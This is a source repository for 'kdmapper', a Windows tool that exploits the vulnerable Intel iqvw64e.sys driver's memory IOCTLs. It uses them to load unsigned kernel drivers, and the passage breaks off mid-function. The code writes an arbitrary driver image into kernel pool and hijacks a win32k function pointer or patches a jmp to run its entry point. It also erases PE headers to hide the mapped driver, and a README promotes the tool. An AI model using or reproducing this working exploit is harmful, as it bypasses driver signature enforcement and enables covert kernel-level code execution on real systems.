├── kdmapper ├── a ├── kdmapper.vcxproj.user ├── service.hpp ├── utils.hpp ├── kdmapper.hpp ├── portable_executable.hpp ├── main.cpp ├── service.cpp ├── nt.hpp ├── utils.cpp ├── kdmapper.vcxproj.filters ├── portable_executable.cpp ├── intel_driver.hpp ├── kdmapper.cpp ├── kdmapper.vcxproj └── intel_driver.cpp ├── README.md └── kdmapper.sln /kdmapper/a: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /kdmapper/kdmapper.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /kdmapper/service.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | namespace service 7 | { 8 | bool RegisterAndStart(const std::string& driver_path); 9 | bool StopAndRemove(const std::string& driver_name); 10 | }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #KDMAPPER build [1809,1903,1909,2004] 2 | 3 | #FUTURE 4 | - Works on windows 10 build +1809 5 | - Please watch my video on youtube how to build it! 6 | - YouTbe channel name EvilHax 7 | 8 | #Website 9 | - https://evilhax.xyz 10 | 11 | #The End 12 | - thank you! 13 | -------------------------------------------------------------------------------- /kdmapper/utils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "nt.hpp" 11 | 12 | namespace utils 13 | { 14 | bool ReadFileToMemory(const std::string& file_path, std::vector* out_buffer); 15 | bool CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size); 16 | uint64_t GetKernelModuleAddress(const std::string& module_name); 17 | } -------------------------------------------------------------------------------- /kdmapper/kdmapper.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "portable_executable.hpp" 10 | #include "utils.hpp" 11 | #include "nt.hpp" 12 | #include "intel_driver.hpp" 13 | 14 | namespace kdmapper 15 | { 16 | uint64_t MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path); 17 | void RelocateImageByDelta(const portable_executable::vec_relocs& relocs, const uint64_t delta); 18 | bool ResolveImports(HANDLE iqvw64e_device_handle, const portable_executable::vec_imports& imports); 19 | void InitStackCookie(void* base); 20 | } 21 | -------------------------------------------------------------------------------- /kdmapper/portable_executable.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | namespace portable_executable 8 | { 9 | struct RelocInfo 10 | { 11 | uint64_t address; 12 | uint16_t* item; 13 | uint32_t count; 14 | }; 15 | 16 | struct ImportFunctionInfo 17 | { 18 | std::string name; 19 | uint64_t* address; 20 | }; 21 | 22 | struct ImportInfo 23 | { 24 | std::string module_name; 25 | std::vector function_datas; 26 | }; 27 | 28 | using vec_sections = std::vector; 29 | using vec_relocs = std::vector; 30 | using vec_imports = std::vector; 31 | 32 | PIMAGE_NT_HEADERS64 GetNtHeaders(void* image_base); 33 | vec_relocs GetRelocs(void* image_base); 34 | vec_imports GetImports(void* image_base); 35 | } -------------------------------------------------------------------------------- /kdmapper/main.cpp: -------------------------------------------------------------------------------- 1 | #include "kdmapper.hpp" 2 | 3 | int main(const int argc, char** argv) 4 | { 5 | if (argc != 2 || std::filesystem::path(argv[1]).extension().string().compare(".sys")) 6 | { 7 | std::cout << "[-] Incorrect usage" << std::endl; 8 | return -1; 9 | } 10 | 11 | if (intel_driver::IsRunning()) 12 | { 13 | std::cout << "[-] \\Device\\Nal is already in use. Check if iqvw64e.sys is already running" << std::endl; 14 | return -1; 15 | } 16 | 17 | const std::string driver_path = argv[1]; 18 | 19 | if (!std::filesystem::exists(driver_path)) 20 | { 21 | std::cout << "[-] File " << driver_path << " doesn't exist" << std::endl; 22 | return -1; 23 | } 24 | 25 | HANDLE iqvw64e_device_handle = intel_driver::Load(); 26 | 27 | if (!iqvw64e_device_handle || iqvw64e_device_handle == INVALID_HANDLE_VALUE) 28 | { 29 | std::cout << "[-] Failed to load driver iqvw64e.sys" << std::endl; 30 | return -1; 31 | } 32 | 33 | if (!kdmapper::MapDriver(iqvw64e_device_handle, driver_path)) 34 | { 35 | std::cout << "[-] Failed to map " << driver_path << std::endl; 36 | intel_driver::Unload(iqvw64e_device_handle); 37 | return -1; 38 | } 39 | 40 | intel_driver::Unload(iqvw64e_device_handle); 41 | std::cout << "[+] Success" << std::endl; 42 | } -------------------------------------------------------------------------------- /kdmapper.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2019 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kdmapper", "kdmapper\kdmapper.vcxproj", "{518E0636-BA8F-459D-ACAC-81BD33475E3E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x64.ActiveCfg = Debug|x64 17 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x64.Build.0 = Debug|x64 18 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x86.ActiveCfg = Debug|Win32 19 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x86.Build.0 = Debug|Win32 20 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x64.ActiveCfg = Release|x64 21 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x64.Build.0 = Release|x64 22 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x86.ActiveCfg = Release|Win32 23 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {83D5D338-2A6D-49D5-B1DF-BDD34FB5CC9F} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /kdmapper/service.cpp: -------------------------------------------------------------------------------- 1 | #include "service.hpp" 2 | 3 | bool service::RegisterAndStart(const std::string& driver_path) 4 | { 5 | const std::string driver_name = std::filesystem::path(driver_path).filename().string(); 6 | const SC_HANDLE sc_manager_handle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); 7 | 8 | if (!sc_manager_handle) 9 | return false; 10 | 11 | SC_HANDLE service_handle = CreateService(sc_manager_handle, driver_name.c_str(), driver_name.c_str(), SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driver_path.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr); 12 | 13 | if (!service_handle) 14 | { 15 | service_handle = OpenService(sc_manager_handle, driver_name.c_str(), SERVICE_START); 16 | 17 | if (!service_handle) 18 | { 19 | CloseServiceHandle(sc_manager_handle); 20 | return false; 21 | } 22 | } 23 | 24 | const bool result = StartService(service_handle, 0, nullptr); 25 | 26 | CloseServiceHandle(service_handle); 27 | CloseServiceHandle(sc_manager_handle); 28 | 29 | return result; 30 | } 31 | 32 | bool service::StopAndRemove(const std::string& driver_name) 33 | { 34 | const SC_HANDLE sc_manager_handle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); 35 | 36 | if (!sc_manager_handle) 37 | return false; 38 | 39 | const SC_HANDLE service_handle = OpenService(sc_manager_handle, driver_name.c_str(), SERVICE_STOP | DELETE); 40 | 41 | if (!service_handle) 42 | { 43 | CloseServiceHandle(sc_manager_handle); 44 | return false; 45 | } 46 | 47 | SERVICE_STATUS status = { 0 }; 48 | const bool result = ControlService(service_handle, SERVICE_CONTROL_STOP, &status) && DeleteService(service_handle); 49 | 50 | CloseServiceHandle(service_handle); 51 | CloseServiceHandle(sc_manager_handle); 52 | 53 | return result; 54 | } -------------------------------------------------------------------------------- /kdmapper/nt.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ntdll.h" 4 | 5 | namespace nt 6 | { 7 | constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; 8 | 9 | constexpr auto SystemModuleInformation = 11; 10 | constexpr auto SystemHandleInformation = 16; 11 | constexpr auto SystemExtendedHandleInformation = 64; 12 | 13 | typedef struct _SYSTEM_HANDLE 14 | { 15 | PVOID Object; 16 | HANDLE UniqueProcessId; 17 | HANDLE HandleValue; 18 | ULONG GrantedAccess; 19 | USHORT CreatorBackTraceIndex; 20 | USHORT ObjectTypeIndex; 21 | ULONG HandleAttributes; 22 | ULONG Reserved; 23 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; 24 | 25 | typedef struct _SYSTEM_HANDLE_INFORMATION_EX 26 | { 27 | ULONG_PTR HandleCount; 28 | ULONG_PTR Reserved; 29 | SYSTEM_HANDLE Handles[1]; 30 | } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; 31 | 32 | typedef enum _POOL_TYPE { 33 | NonPagedPool, 34 | NonPagedPoolExecute, 35 | PagedPool, 36 | NonPagedPoolMustSucceed, 37 | DontUseThisType, 38 | NonPagedPoolCacheAligned, 39 | PagedPoolCacheAligned, 40 | NonPagedPoolCacheAlignedMustS, 41 | MaxPoolType, 42 | NonPagedPoolBase, 43 | NonPagedPoolBaseMustSucceed, 44 | NonPagedPoolBaseCacheAligned, 45 | NonPagedPoolBaseCacheAlignedMustS, 46 | NonPagedPoolSession, 47 | PagedPoolSession, 48 | NonPagedPoolMustSucceedSession, 49 | DontUseThisTypeSession, 50 | NonPagedPoolCacheAlignedSession, 51 | PagedPoolCacheAlignedSession, 52 | NonPagedPoolCacheAlignedMustSSession, 53 | NonPagedPoolNx, 54 | NonPagedPoolNxCacheAligned, 55 | NonPagedPoolSessionNx 56 | } POOL_TYPE; 57 | 58 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 59 | { 60 | HANDLE Section; 61 | PVOID MappedBase; 62 | PVOID ImageBase; 63 | ULONG ImageSize; 64 | ULONG Flags; 65 | USHORT LoadOrderIndex; 66 | USHORT InitOrderIndex; 67 | USHORT LoadCount; 68 | USHORT OffsetToFileName; 69 | UCHAR FullPathName[256]; 70 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; 71 | 72 | typedef struct _RTL_PROCESS_MODULES 73 | { 74 | ULONG NumberOfModules; 75 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 76 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; 77 | } -------------------------------------------------------------------------------- /kdmapper/utils.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.hpp" 2 | 3 | bool utils::ReadFileToMemory(const std::string& file_path, std::vector* out_buffer) 4 | { 5 | std::ifstream file_ifstream(file_path, std::ios::binary); 6 | 7 | if (!file_ifstream) 8 | return false; 9 | 10 | out_buffer->assign((std::istreambuf_iterator(file_ifstream)), std::istreambuf_iterator()); 11 | file_ifstream.close(); 12 | 13 | return true; 14 | } 15 | 16 | bool utils::CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size) 17 | { 18 | std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary); 19 | 20 | if (!file_ofstream.write(address, size)) 21 | { 22 | file_ofstream.close(); 23 | return false; 24 | } 25 | 26 | file_ofstream.close(); 27 | return true; 28 | } 29 | 30 | uint64_t utils::GetKernelModuleAddress(const std::string& module_name) 31 | { 32 | void* buffer = nullptr; 33 | DWORD buffer_size = 0; 34 | 35 | NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); 36 | 37 | while (status == nt::STATUS_INFO_LENGTH_MISMATCH) 38 | { 39 | VirtualFree(buffer, 0, MEM_RELEASE); 40 | 41 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 42 | status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); 43 | } 44 | 45 | if (!NT_SUCCESS(status)) 46 | { 47 | VirtualFree(buffer, 0, MEM_RELEASE); 48 | return 0; 49 | } 50 | 51 | const auto modules = static_cast(buffer); 52 | 53 | for (auto i = 0u; i < modules->NumberOfModules; ++i) 54 | { 55 | const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName); 56 | 57 | if (!_stricmp(current_module_name.c_str(), module_name.c_str())) 58 | { 59 | const uint64_t result = reinterpret_cast(modules->Modules[i].ImageBase); 60 | 61 | VirtualFree(buffer, 0, MEM_RELEASE); 62 | return result; 63 | } 64 | } 65 | 66 | VirtualFree(buffer, 0, MEM_RELEASE); 67 | return 0; 68 | } -------------------------------------------------------------------------------- /kdmapper/kdmapper.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Source Files 40 | 41 | 42 | Source Files 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | -------------------------------------------------------------------------------- /kdmapper/portable_executable.cpp: -------------------------------------------------------------------------------- 1 | #include "portable_executable.hpp" 2 | #include "ntdll.h" 3 | 4 | PIMAGE_NT_HEADERS64 portable_executable::GetNtHeaders(void* image_base) 5 | { 6 | const PIMAGE_NT_HEADERS64 headers = RtlImageNtHeader(image_base); 7 | return headers != nullptr && headers->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC ? headers : nullptr; 8 | } 9 | 10 | portable_executable::vec_relocs portable_executable::GetRelocs(void* image_base) 11 | { 12 | const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base); 13 | 14 | if (!nt_headers) 15 | return {}; 16 | 17 | vec_relocs relocs; 18 | 19 | auto current_base_relocation = reinterpret_cast(reinterpret_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 20 | const auto reloc_end = reinterpret_cast(current_base_relocation) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 21 | 22 | while (current_base_relocation->VirtualAddress && current_base_relocation->VirtualAddress < reloc_end && current_base_relocation->SizeOfBlock) 23 | { 24 | RelocInfo reloc_info{}; 25 | 26 | reloc_info.address = reinterpret_cast(image_base) + current_base_relocation->VirtualAddress; 27 | reloc_info.item = reinterpret_cast(reinterpret_cast(current_base_relocation) + sizeof(IMAGE_BASE_RELOCATION)); 28 | reloc_info.count = (current_base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(uint16_t); 29 | 30 | relocs.push_back(reloc_info); 31 | 32 | current_base_relocation = reinterpret_cast(reinterpret_cast(current_base_relocation) + current_base_relocation->SizeOfBlock); 33 | } 34 | 35 | return relocs; 36 | } 37 | 38 | portable_executable::vec_imports portable_executable::GetImports(void* image_base) 39 | { 40 | const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base); 41 | 42 | if (!nt_headers) 43 | return {}; 44 | 45 | vec_imports imports; 46 | 47 | auto current_import_descriptor = reinterpret_cast(reinterpret_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 48 | 49 | while (current_import_descriptor->FirstThunk) 50 | { 51 | ImportInfo import_info; 52 | 53 | import_info.module_name = std::string(reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->Name)); 54 | 55 | auto current_first_thunk = reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->FirstThunk); 56 | auto current_originalFirstThunk = reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->OriginalFirstThunk); 57 | 58 | while (current_originalFirstThunk->u1.Function) 59 | { 60 | ImportFunctionInfo import_function_data; 61 | 62 | auto thunk_data = reinterpret_cast(reinterpret_cast(image_base) + current_originalFirstThunk->u1.AddressOfData); 63 | 64 | import_function_data.name = thunk_data->Name; 65 | import_function_data.address = ¤t_first_thunk->u1.Function; 66 | 67 | import_info.function_datas.push_back(import_function_data); 68 | 69 | ++current_originalFirstThunk; 70 | ++current_first_thunk; 71 | } 72 | 73 | imports.push_back(import_info); 74 | ++current_import_descriptor; 75 | } 76 | 77 | return imports; 78 | } -------------------------------------------------------------------------------- /kdmapper/intel_driver.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "intel_driver_resource.hpp" 9 | #include "service.hpp" 10 | #include "utils.hpp" 11 | 12 | namespace intel_driver 13 | { 14 | constexpr auto driver_name = "iqvw64e.sys"; 15 | constexpr uint32_t ioctl1 = 0x80862007; 16 | 17 | typedef struct _COPY_MEMORY_BUFFER_INFO 18 | { 19 | uint64_t case_number; 20 | uint64_t reserved; 21 | uint64_t source; 22 | uint64_t destination; 23 | uint64_t length; 24 | }COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO; 25 | 26 | typedef struct _FILL_MEMORY_BUFFER_INFO 27 | { 28 | uint64_t case_number; 29 | uint64_t reserved1; 30 | uint32_t value; 31 | uint32_t reserved2; 32 | uint64_t destination; 33 | uint64_t length; 34 | }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO; 35 | 36 | typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO 37 | { 38 | uint64_t case_number; 39 | uint64_t reserved; 40 | uint64_t return_physical_address; 41 | uint64_t address_to_translate; 42 | }GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO; 43 | 44 | typedef struct _MAP_IO_SPACE_BUFFER_INFO 45 | { 46 | uint64_t case_number; 47 | uint64_t reserved; 48 | uint64_t return_value; 49 | uint64_t return_virtual_address; 50 | uint64_t physical_address_to_map; 51 | uint32_t size; 52 | }MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO; 53 | 54 | typedef struct _UNMAP_IO_SPACE_BUFFER_INFO 55 | { 56 | uint64_t case_number; 57 | uint64_t reserved1; 58 | uint64_t reserved2; 59 | uint64_t virt_address; 60 | uint64_t reserved3; 61 | uint32_t number_of_bytes; 62 | }UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO; 63 | 64 | bool IsRunning(); 65 | HANDLE Load(); 66 | void Unload(HANDLE device_handle); 67 | 68 | bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size); 69 | bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size); 70 | bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address); 71 | uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size); 72 | bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size); 73 | bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); 74 | bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); 75 | bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size); 76 | uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size); 77 | bool FreePool(HANDLE device_handle, uint64_t address); 78 | uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name); 79 | bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address); 80 | bool GetNtGdiGetCOPPCompatibleOPMInformationInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint8_t* out_kernel_original_bytes); 81 | bool ClearMmUnloadedDrivers(HANDLE device_handle); 82 | 83 | template 84 | bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) 85 | { 86 | constexpr auto call_void = std::is_same_v; 87 | 88 | if constexpr (!call_void) 89 | { 90 | if (!out_result) 91 | return false; 92 | } 93 | else 94 | { 95 | UNREFERENCED_PARAMETER(out_result); 96 | } 97 | 98 | if (!kernel_function_address) 99 | return false; 100 | 101 | // Setup function call 102 | 103 | const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2")); 104 | const auto NtGdiGetCOPPCompatibleOPMInformation = reinterpret_cast(GetProcAddress(LoadLibrary("win32u.dll"), "NtGdiGetCOPPCompatibleOPMInformation")); 105 | 106 | if (!NtGdiDdDDIReclaimAllocations2 && !NtGdiGetCOPPCompatibleOPMInformation) 107 | { 108 | std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2 / win32u.NtGdiGetCOPPCompatibleOPMInformation" << std::endl; 109 | return false; 110 | } 111 | 112 | uint64_t kernel_function_ptr = 0; 113 | uint8_t kernel_function_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; 114 | uint64_t kernel_original_function_address = 0; 115 | uint8_t kernel_original_function_jmp[sizeof(kernel_function_jmp)]; 116 | 117 | if (NtGdiDdDDIReclaimAllocations2) 118 | { 119 | // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2) 120 | if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address)) 121 | return false; 122 | 123 | // Overwrite the pointer with kernel_function_address 124 | if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address))) 125 | return false; 126 | } 127 | else 128 | { 129 | // Get address of NtGdiGetCOPPCompatibleOPMInformation and save the original jmp bytes + 0xCC filler 130 | if (!GetNtGdiGetCOPPCompatibleOPMInformationInfo(device_handle, &kernel_function_ptr, kernel_original_function_jmp)) 131 | return false; 132 | 133 | // Overwrite jmp with 'movabs rax, , jmp rax' 134 | memcpy(kernel_function_jmp + 2, &kernel_function_address, sizeof(kernel_function_address)); 135 | 136 | if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_function_jmp, sizeof(kernel_function_jmp))) 137 | return false; 138 | } 139 | 140 | // Call function 141 | 142 | if constexpr (!call_void) 143 | { 144 | using FunctionFn = T(__stdcall*)(A...); 145 | const auto Function = reinterpret_cast(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation); 146 | 147 | *out_result = Function(arguments...); 148 | } 149 | else 150 | { 151 | using FunctionFn = void(__stdcall*)(A...); 152 | const auto Function = reinterpret_cast(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation); 153 | 154 | Function(arguments...); 155 | } 156 | 157 | // Restore the pointer/jmp 158 | if (NtGdiDdDDIReclaimAllocations2) 159 | { 160 | WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address)); 161 | } 162 | else 163 | { 164 | WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_original_function_jmp, sizeof(kernel_original_function_jmp)); 165 | } 166 | return true; 167 | } 168 | } -------------------------------------------------------------------------------- /kdmapper/kdmapper.cpp: -------------------------------------------------------------------------------- 1 | #include "kdmapper.hpp" 2 | 3 | uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path) 4 | { 5 | std::vector raw_image = { 0 }; 6 | 7 | if (!utils::ReadFileToMemory(driver_path, &raw_image)) 8 | { 9 | std::cout << "[-] Failed to read image to memory" << std::endl; 10 | return 0; 11 | } 12 | 13 | const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(raw_image.data()); 14 | 15 | if (!nt_headers) 16 | { 17 | std::cout << "[-] Invalid or non-x64 PE image" << std::endl; 18 | return 0; 19 | } 20 | 21 | const uint32_t image_size = nt_headers->OptionalHeader.SizeOfImage; 22 | 23 | void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 24 | uint64_t kernel_image_base = intel_driver::AllocatePool(iqvw64e_device_handle, nt::NonPagedPool, image_size); 25 | 26 | do 27 | { 28 | if (!kernel_image_base) 29 | { 30 | std::cout << "[-] Failed to allocate remote image in kernel" << std::endl; 31 | break; 32 | } 33 | 34 | std::cout << "[+] Image base has been allocated at 0x" << reinterpret_cast(kernel_image_base) << std::endl; 35 | 36 | // Copy image headers 37 | 38 | memcpy(local_image_base, raw_image.data(), nt_headers->OptionalHeader.SizeOfHeaders); 39 | 40 | // Copy image sections 41 | 42 | const PIMAGE_SECTION_HEADER section_headers = IMAGE_FIRST_SECTION(nt_headers); 43 | 44 | for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) 45 | { 46 | if ((section_headers[i].Characteristics & (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE)) != 0 && 47 | section_headers[i].PointerToRawData != 0) 48 | { 49 | const auto local_section = reinterpret_cast(reinterpret_cast(local_image_base) + section_headers[i].VirtualAddress); 50 | memcpy(local_section, reinterpret_cast(reinterpret_cast(raw_image.data()) + section_headers[i].PointerToRawData), section_headers[i].SizeOfRawData); 51 | } 52 | } 53 | 54 | // Initialize stack cookie if driver was compiled with /GS 55 | 56 | InitStackCookie(local_image_base); 57 | 58 | // Resolve relocs and imports 59 | 60 | // A missing relocation directory is OK, but disallow IMAGE_FILE_RELOCS_STRIPPED 61 | // Not checked: IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE in DllCharacteristics. The DDK/WDK has never set this mostly for historical reasons 62 | const portable_executable::vec_relocs& relocs = portable_executable::GetRelocs(local_image_base); 63 | if (relocs.empty() && (nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) != 0) 64 | { 65 | std::cout << "[-] Image is not relocatable" << std::endl; 66 | break; 67 | } 68 | 69 | RelocateImageByDelta(relocs, kernel_image_base - nt_headers->OptionalHeader.ImageBase); 70 | 71 | if (!ResolveImports(iqvw64e_device_handle, portable_executable::GetImports(local_image_base))) 72 | { 73 | std::cout << "[-] Failed to resolve imports" << std::endl; 74 | break; 75 | } 76 | 77 | // Write fixed image to kernel 78 | 79 | if (!intel_driver::WriteMemory(iqvw64e_device_handle, kernel_image_base, local_image_base, image_size)) 80 | { 81 | std::cout << "[-] Failed to write local image to remote image" << std::endl; 82 | break; 83 | } 84 | 85 | VirtualFree(local_image_base, 0, MEM_RELEASE); 86 | 87 | // Call driver entry point 88 | 89 | const uint64_t address_of_entry_point = kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint; 90 | 91 | std::cout << "[<] Calling DriverEntry 0x" << reinterpret_cast(address_of_entry_point) << std::endl; 92 | 93 | NTSTATUS status = 0; 94 | 95 | if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point)) 96 | { 97 | std::cout << "[-] Failed to call driver entry" << std::endl; 98 | break; 99 | } 100 | 101 | std::cout << "[+] DriverEntry returned 0x" << std::hex << std::setw(8) << std::setfill('0') << std::uppercase << status << std::nouppercase << std::dec << std::endl; 102 | 103 | // Erase PE headers 104 | 105 | intel_driver::SetMemory(iqvw64e_device_handle, kernel_image_base, 0, nt_headers->OptionalHeader.SizeOfHeaders); 106 | return kernel_image_base; 107 | 108 | } while (false); 109 | 110 | VirtualFree(local_image_base, 0, MEM_RELEASE); 111 | intel_driver::FreePool(iqvw64e_device_handle, kernel_image_base); 112 | 113 | return 0; 114 | } 115 | 116 | void kdmapper::RelocateImageByDelta(const portable_executable::vec_relocs& relocs, const uint64_t delta) 117 | { 118 | for (const auto& current_reloc : relocs) 119 | { 120 | for (auto i = 0u; i < current_reloc.count; ++i) 121 | { 122 | const uint16_t type = current_reloc.item[i] >> 12; 123 | const uint16_t offset = current_reloc.item[i] & 0xFFF; 124 | 125 | if (type == IMAGE_REL_BASED_DIR64) 126 | * reinterpret_cast(current_reloc.address + offset) += delta; 127 | } 128 | } 129 | } 130 | 131 | bool kdmapper::ResolveImports(HANDLE iqvw64e_device_handle, const portable_executable::vec_imports& 